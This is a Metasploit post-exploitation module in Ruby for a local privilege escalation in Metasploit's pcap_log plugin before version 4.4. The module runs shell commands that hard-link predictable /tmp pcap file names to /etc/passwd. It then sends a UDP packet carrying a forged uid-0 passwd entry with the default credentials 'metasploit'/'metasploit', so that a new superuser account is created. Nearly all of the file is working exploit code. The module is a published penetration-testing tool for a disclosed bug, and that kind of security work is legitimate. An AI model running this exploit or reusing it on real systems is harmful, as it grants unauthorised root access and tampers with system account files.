##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
 
load 'lib/msf/core/post/common.rb'
load 'lib/msf/core/post/file.rb'
load 'lib/msf/core/exploit/local/unix.rb'
load 'lib/msf/core/exploit/local/linux.rb'
 
class Metasploit3 < Msf::Post
    Rank = ExcellentRanking
 
    include Msf::Post::File
    include Msf::Post::Common
 
    include Msf::Exploit::Local::Linux
    include Msf::Exploit::Local::Unix
 
    def initialize(info={})
        super( update_info( info, {
                'Name'    => 'Metasploit pcap_log Local Privilege Escalation',
                'Description'   => %q{
                    Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,
                    creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these
                    filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within.
                    This, and all the other packets, are appended to /etc/passwd.
 
                    Successful exploitation results in the creation of a new superuser account.
 
                    This module requires manual clean-up - remove /tmp/msf3-session*pcap files and truncate /etc/passwd.
                },
                'License'       => MSF_LICENSE,
                'Author'    => [ '0a29406d9794e4f9b30b3c5d6702c708'],
                'Platform'      => [ 'linux','unix','bsd' ],
                'SessionTypes'  => [ 'shell', 'meterpreter' ],
                'References'    =>
                    [
                        [ 'BID', '54472' ],
                        [ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'],
                        [ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ],
                    ],
                'DisclosureDate' => "Jul 16 2012",
                'Targets'       =>
                    [
                        [ 'Linux/Unix Universal', {} ],
                    ],
                'DefaultTarget' => 0,
            }
            ))
            register_options(
            [  
                Opt::RPORT(2940),
                OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]),
                OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ])
            ], self)
    end
 
    def run
        print_status "Waiting for victim"
        initial_size = cmd_exec("cat /etc/passwd | wc -l")
        i = 60
        while(true) do
            if (i == 60)
                # 0a2940: cmd_exec is slow, so send 1 command to do all the links
                cmd_exec("for i in $(seq 0 120); do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done")
                i = 0
            end
            i = i+1
            if (cmd_exec("cat /etc/passwd | wc -l") != initial_size)
                # PCAP is flowing
                pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n"
                print_status("Sending file contents payload to #{session.session_host}")
                udpsock = Rex::Socket::Udp.create(
                {
                    'Context' => {'Msf' => framework, 'MsfExploit'=>self}
                })
                udpsock.sendto(pkt, session.session_host, datastore['RPORT'])
                break
            end
            sleep(1)
        end
 
        if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true")
            print_good("Success. You should now be able to login or su to the 'metasploit' user with password 'metasploit'.")
        else
            print_error("Failed. You should manually verify the 'metasploit' user has not been added") 
        end
        # 0a2940: Initially the plan was to have this post module switch user, upload & execute a new payload
        #     However beceause the session is not a terminal, su will not always allow this.       
    end
end